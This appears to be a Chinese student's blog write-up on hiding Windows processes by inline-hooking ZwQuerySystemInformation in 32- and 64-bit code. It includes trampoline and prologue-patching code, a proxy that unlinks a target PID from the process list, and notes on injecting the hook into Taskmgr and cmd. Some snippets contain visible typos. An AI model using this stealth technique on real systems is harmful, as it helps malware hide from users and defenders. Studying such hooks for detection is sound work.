隐藏进程-学习总结
学习隐藏进程,期间过程曲折,也确实是自己基础薄弱,需要加强。
特此,整理学习过程中的重点与解决的问题,以及待解决的问题,仅个人观点。
关于待解决问题,希望观者能帮忙留言提供解决办法。
总体的流程就是:
inline hook在32位和64位中的实现,以及实现关键点。
期间出现的问题以及解决办法。
发现的尚未解决的问题。
inline hook
32 位下用 4 字节表示地址,而 64 位下使用 8 字节来表示地址,所以跳转语句则也不同。
在 32 位下,汇编跳转语句为:
//vs2015 X86 Debug模式下,关闭增量链接
0xe9, 0x00, 0x00, 0x00, 0x00
64位下的汇编跳转语句为:
0xFF,0x25,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
不过在学习过程中,也百度到64位下的另一种跳转语句,如下代码。这个跳转仅限于本模块中跳转,而FF25这种跳转可以实现全部内存的跳转。
48 B8 00 00 00 00 00 00 00 00
FF E0
inline hook原理
使用inline hook。
- 获取函数地址ZwQuerySystemInformation(以下简称为原函数):
加载ntdll.dll获取ZwQuerySystemInformation;
将函数地址的前n(上一节解释了32位和64位的跳转语句)个字节复制给OriginalZwQuerySystemInformation(以下简称为Original函数),
在这n个字节位置写入跳转到ProxyZeQuerySystemProcessInformation函数(以下简称为Proxy函数)的汇编代码。 - 代理函数ProxyZwQuerySystemInformation:
调用OriginalZwQuerySystemInformation函数
调用成功的话,继续执行查找进程列表中的进程,并删除该进程。 - 源码函数OriginalZwQuerySystemInformation:
ZwQuerySystemInformation的前n个字节
jmp至ZwQuerySystemInformation的下一条指令地址处(ZwQuerySystemInformation + n)。
inline hook的跳转逻辑如图hook学习:
32位inlinehook处理细节
在32位下,mov语句和jmp语句都是5个字节,且32位下,大多数函数都是以mov语句开始的,所以基本可以直接操作前五个字节就可以。
32位的OriginalZwQuerySystemProcessInformation函数可以用汇编语言进行自定义:
__declspec(naked) void OriginalZwQuerySystemProcessInformation()
{
_asm
{
_emit 0x90;
_emit 0x90;
_emit 0x90;
_emit 0x90;
_emit 0x90;
_emit 0x90;//保证足够长,复制原函数的前5个字节就可以
jmp NextInstructionAddress
}
};
32位的inlinehook函数的处理重点为:
1、将原函数的前5个字节赋值给Original函数
memcpy(OriginalFunction, Function, *PatchCodeLen);
2、在跳转代码中写入Proxy函数地址,并且赋值给原函数地址
//UCHAR JmpCode[5] = {0xe9, 0x00, 0x00, 0x00, 0x00};
*(PULONG)&JmpCode[1] = (ULONG)ProxyAddress - ((ULONG)Address + 5);
memcpy(Address, JmpCode, *PatchCodeLen);
3、Proxy函数中只要调用Original函数就可以。
NTSTATUS Status = ((_ZwQuerySystemInformation)OriginalZwQuerySystemProcessInformation)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
64位inlinehook处理关键点
由于64位下,__declspec(naked)不可用,所以Original函数要写成shellcode形式(32位也可以写成shellcode模式)。
64位的inlinehook函数的处理重点为:
1、获取原函数大于或者等于14个字节的指令长度
while (Size < 14)
{
Len = GetShellCodeLength(Address, 64);//ShellCode是一个获取地址Address处64位指令长度的函数
Address = Address + Len;
Size += Len;
}
2、将原函数的前Size个字节赋值给Original函数,并将跳回原函数的指令添加
UCHAR JmpBackCode[] = { 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
//获取跳回地址
*NextInstructionAddress = (ULONG64)Function + Size;
memcpy(JmpBackCode + 6, NextInstructionAddress, 8);
//给Original函数申请一段内存,将原函数前Size字节和跳回指令复制给Original函数
*OriginalFunction = VirtualAllocEx(GetCurrentProcess(), NULL, Size + 14, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 原始机器码 + 跳转机器码
memcpy((PUCHAR)*OriginalFunction, Function, Size);
memcpy((PUCHAR)*OriginalFunction + Size, JmpBackCode, PatchCodeLen);
memcpy(JmpCode + 6, &ProxyFunction, 8);
3、在跳转代码JmpCode[6]的位置写入Proxy函数地址,并且赋值给原函数地址(同32位)
4、Proxy函数调用Original函数(同32位)
32位和64位inlinehook的区别在于:
1、跳转指令不同
2、Original函数的实现方式不同
隐藏进程
在代理函数中隐藏进程
在这里插入代码片
Status = ((_ZwQuerySystemInformation)OriginalDeviceIoControlFile)SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
if (NT_SUCCESS(Status) && 5 == SystemInformationClass)
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE)
{
// 判断是否是要隐藏的进程PID
char str[128] = { 0 };
sprintf_s(str, 128, "ProcessId %d\n", pCur->UniqueProcessId);
printf(str);
if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
{
printf("Find explorer.exe\n");
if (0 == pCur->NextEntryOffset)
{
pPrev->NextEntryOffset = 0;
printf(" explorer.exe is the last one\n");
}
else
{
pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
printf("Hide explorer.exe\n");
}
}
else
pPrev = pCur;
if (0 == pCur->NextEntryOffset)
break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);
}
}
实现过程中的一些问题
debug的增量链接问题
在VS 2015 debug模式下,默认打开“启用增量链接”,release模式下默认关闭。
那么在进行inline hook的时候,会将ZwQuerySystemInformation函数的第一句复制到OriginalZwQuerySystemInformation的增量链接表中,增量链接表是一张跳转表,复制进去mov指令后,代码执行会崩溃。如下图 ,所以在debug模式下使用inline hook,需要关闭增量链接。
ZwQuerySystemInformation二次调用问题
函数详解
typedef NTSTATUS(WINAPI* ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
SystemInformation
SYSTEM_PROCESS_INFORMATION,返回进程的结构体SYSTEM_PROCESS_INFORMATION
SystemInformationLength
缓存区长度,BYTE字节数
ReturnLength
返回长度[输出,可选]
指向函数写入所请求信息的实际大小的位置的可选指针。如果该大小小于或等于SystemInformationLength参数,则函数将信息复制到SystemInformation缓冲区中;否则,它将返回NTSTATUS错误代码,并在ReturnLength中返回接收请求的信息所需的缓冲区大小。
二次调用
第一次SystemInformationLength传入0,由于比ReturnLength小,所以ReturnLength中返回所需缓冲区大小。然后给缓冲区分配内存,并初始化为0。再次将长度赋值SystemInformationLength,这样就可以将信息复制到缓冲区中。
nStatus = ZWQuerySystemInformation(SystemExtendedProcessInformation, pProcIndex, 0, &retLength);
if (!retLength)
{
printf("ZwQuerySystemInformation error!\n");
return nStatus;
}
pProcIndex = (PSYSTEM_PROCESS_INFORMATION)malloc(retLength);
memset(pProcIndex, 0, retLength);
nStatus = ZWQuerySystemInformation(SystemProcessInformation, pProcIndex, retLength, &retLength);
待处理问题
在以下目标中注入hook的dll文件:
1、Taskmgr.exe添加链接描述
2、cmd.exe,使用命令tasklist查看当前进程
在cmd中,调用函数的时候,第二个参数传入的是SystemProcessorInformation(0x01)。
这个参数的结构体为:
typedef struct _SYSTEM_BASIC_INFORMATION {
ULONG Unknown; //Always contains zero
ULONG MaximumIncrement; //一个时钟的计量单位
ULONG PhysicalPageSize; //一个内存页的大小
ULONG NumberOfPhysicalPages; //系统管理着多少个页
ULONG LowestPhysicalPage; //低端内存页
ULONG HighestPhysicalPage; //高端内存页
ULONG AllocationGranularity;
ULONG LowestUserAddress; //地端用户地址
ULONG HighestUserAddress; //高端用户地址
ULONG ActiveProcessors; //激活的处理器
UCHAR NumberProcessors; //有多少个处理器
}SYSTEM_BASIC_INFORMATION,*PSYSTEM_BASIC_INFORMATION;
怎么从这个参数获取的进程消息,我实在不知了、、、